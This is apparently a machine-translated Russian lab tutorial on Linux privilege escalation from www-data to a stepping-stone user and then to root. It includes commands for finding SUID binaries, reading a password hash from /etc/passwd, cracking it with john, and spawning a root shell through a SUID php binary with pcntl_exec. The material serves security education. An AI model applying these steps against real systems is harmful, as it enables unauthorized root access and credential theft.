Повышение привилегий до Root через промежуточного пользователя в Nmap

NmapNmapBeginner
Практиковаться сейчас

💡 Этот учебник переведен с английского с помощью ИИ. Чтобы просмотреть оригинал, вы можете перейти на английский оригинал

Введение

В этом лабораторном занятии мы научимся повышать привилегии до привилегий пользователя root, когда мы не можем напрямую повысить привилегии до root. Мы добьемся этого, сначала повысив привилегии до привилегий другого обычного пользователя, а затем используя привилегии этого пользователя для повышения привилегий до привилегий пользователя root. Этот промежуточный пользователь называется пользователем-«прыжковой доской» (stepping stone user).

Цель этого лабораторного занятия — повысить привилегии от пользователя www-data до пользователя alice, а затем от пользователя alice до пользователя root.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/installation("Installation and Setup") nmap/NmapGroup -.-> nmap/save_output("Save Output to File") subgraph Lab Skills nmap/installation -.-> lab-416146{{"Повышение привилегий до Root через промежуточного пользователя в Nmap"}} nmap/save_output -.-> lab-416146{{"Повышение привилегий до Root через промежуточного пользователя в Nmap"}} end

Инициализация лабораторной среды

На этом шаге мы инициализируем лабораторную среду.

  1. Сначала откройте терминал и перейдите в каталог /home/labex/project:

    cd /home/labex/project
  2. Выполните следующую команду, чтобы настроить среду для лабораторного занятия:

    ./env_setup.sh

Эта команда загрузит и выполнит скрипт, который настроит необходимую среду для лабораторного занятия. После выполнения этой команды вы должны переключиться на пользователя www-data, имитируя начальную оболочку, полученную с помощью веб-уязвимости.

Попытка повышения привилегий с использованием SUID

На этом шаге мы попытаемся повысить привилегии с использованием техники SUID (Set User ID). Мы будем искать исполняемые файлы с установленным битом SUID, которые могут быть выполнены с правами владельца файла (в данном случае — root).

  1. Сначала найдем исполняемые файлы с битом SUID, к которым может получить доступ пользователь www-data:

    find / -user root -perm -4000 -print 2> /dev/null > ~/www-data_suid_files.txt

    Эта команда будет искать по всему файловому систем файлы, принадлежащие пользователю root и имеющие установленный бит SUID (режим прав 4000).

  2. После выполнения команды в файле www-data_suid_files.txt вы должны увидеть список исполняемых файлов с битом SUID. Проверим содержимое этого файла:

    cat ~/www-data_suid_files.txt

Однако в данном случае нет файлов, подходящих для повышения привилегий с использованием SUID.

Исследование домашнего каталога

Поскольку мы не смогли повысить привилегии с использованием техники SUID, давайте исследуем домашний каталог на предмет возможных пользователей-«прыжковых досок» (stepping stone users).

  1. Сначала сохраним содержимое каталога /home в файл для дальнейшего анализа:

    ls -alh /home > ~/home_dir_contents.txt

    Эта команда выведет содержимое каталога /home в длинном формате, включая размеры файлов и права доступа, и сохранит результат в файл home_dir_contents.txt.

  2. Затем изучим содержимое файла home_dir_contents.txt, чтобы определить возможных кандидатов:

    cat ~/home_dir_contents.txt

    В выводе вы должны увидеть каталог с именем alice, что указывает на существование пользователя с именем alice в системе.

Попытка повышения привилегий до привилегий пользователя Alice

Поскольку пользователь www-data не имеет доступа к каталогу alice, нам нужно найти способ повысить привилегии до привилегий пользователя alice сначала.

  1. Проверим файл /etc/passwd для получения информации о пользователе alice:

    cat /etc/passwd | grep alice > ~/alice_info.txt
  2. Проверьте содержимое файла alice_info.txt, чтобы просмотреть детали о пользователе alice

    cat ~/alice_info.txt

    Ожидаемый вывод:

    alice:$1$ignite$tN3eRajwqVQLh1dDmMVix0:5001:5001::/home/alice:/bin/bash

    В выводе вы должны увидеть запись о пользователе alice, включая хэш пароля.

  3. Чтобы взломать хэш пароля, мы можем использовать инструмент john. Откройте новый терминал и выполните следующую команду:

    john ~/alice_info.txt > cracked_passwords.txt

    Пример вывода:

    Created directory: /var/www/.john
    Will run 2 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    1g 0:00:00:00 100% 2/3 5.000g/s 6780p/s 6780c/s 6780C/s 123456..crawford
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed

    Это запустит процесс взлома пароля. Как только пароль будет взломан, вы должны увидеть его в файле cracked_passwords.txt.

    cat ~/cracked_passwords.txt

    Пример вывода:

    Loaded 1 password hash (md5crypt [MD5 32/64 X2])
    beautiful        (alice)
  4. В данном случае пароль для пользователя alice - beautiful. Используйте команду su, чтобы переключиться на пользователя alice:

    su - alice

    Введите пароль, который мы взломали ранее (beautiful), когда это будет предложено.

    beautiful
  5. После успешного переключения на пользователя alice перейдите в каталог alice и создайте новый файл с именем alice.txt:

    cd /home/alice

    Создайте новый файл с именем alice.txt:

    touch ~/alice.txt

    Теперь у вас должен быть доступ к каталогу alice и его содержимому.

Попытка повышения привилегий с использованием SUID от имени пользователя Alice

Теперь, когда мы повысили привилегии до привилегий пользователя alice, давайте попробуем снова применить технику повышения привилегий с использованием SUID.

  1. Убедитесь, что вы находитесь в домашнем каталоге пользователя alice:

    cd /home/alice

    Выполните следующую команду, чтобы найти файлы с установленным битом SUID:

    find / -user root -perm -4000 -print 2> /dev/null > alice_suid_files.txt
  2. Проверьте содержимое файла alice_suid_files.txt, чтобы просмотреть список файлов с битом SUID:

    cat alice_suid_files.txt

    Ожидаемый вывод:

    ...
    /var/bin/php
    ...

    На этот раз в выводе вы должны увидеть исполняемый файл /var/bin/php. Этот файл можно использовать для повышения привилегий с использованием SUID.

  3. Чтобы повысить привилегии до привилегий пользователя root, выполните следующую команду:

    /var/bin/php -r "pcntl_exec('/bin/sh', ['-p']);"

    Эта команда выполнит PHP - скрипт, который запустит новую оболочку с привилегиями root.

  4. Теперь у вас должна быть оболочка с привилегиями root, что будет показано символом # в приглашении терминала. Проверьте, что у вас есть привилегии root, создав файл в корневом каталоге:

    touch /root/root.txt

    Если файл был создан без ошибок доступа, вы успешно повысили привилегии до привилегий пользователя root с использованием техники SUID.

Понимание различий в правах доступа к каталогам

Возможно, у вас возник вопрос: почему пользователь alice смог найти исполняемый файл php с битом SUID, в то время как пользователь www-data не смог. Ответ кроется в правах доступа к каталогам.

После предыдущего шага у вас должна быть оболочка с привилегиями пользователя root, как показано ниже:

sh-5.1#
  1. Давайте проверим права доступа к каталогу /var/bin и сохраним вывод в файл:

    ls -lh /var > /root/var_permissions.txt
  2. Проверьте содержимое файла var_permissions.txt, чтобы просмотреть права доступа к каталогу /var:

    cat /root/var_permissions.txt

    Ожидаемый вывод:

    total 0
    ...
    drwxr-x--- 2 alice    alice     17 Apr 15 03:48 bin
    ...

    В выводе вы должны увидеть, что каталог /var/bin принадлежит пользователю и группе alice. Другие пользователи не имеют прав на чтение, запись или выполнение в этом каталоге.

Это означает, что когда мы повысили привилегии до привилегий пользователя alice, мы получили доступ к файлам и каталогам, которые были ранее недоступны пользователю www-data. Это различие в правах доступа позволило нам найти и использовать исполняемый файл с битом SUID для повышения привилегий.

Резюме

В этом лабораторном занятии мы научились повышать привилегии до привилегий пользователя root, когда прямой переход к root невозможен. Мы добились этого, сначала повысив привилегии до привилегий пользователя alice (пользователя - «прыжковой доски», stepping stone user), а затем использовав привилегии пользователя alice для повышения привилегий до привилегий root.

Основная мысль этого лабораторного занятия заключается в том, чтобы всегда помнить о различиях в правах доступа между пользователями, так как эти различия иногда можно использовать для повышения привилегий. Хотя в этом лабораторном занятии мы использовали простой пример, в реальных сценариях ситуация может быть более сложной, но основной принцип остается тем же самым: использовать различия в правах доступа пользователей для повышения привилегий.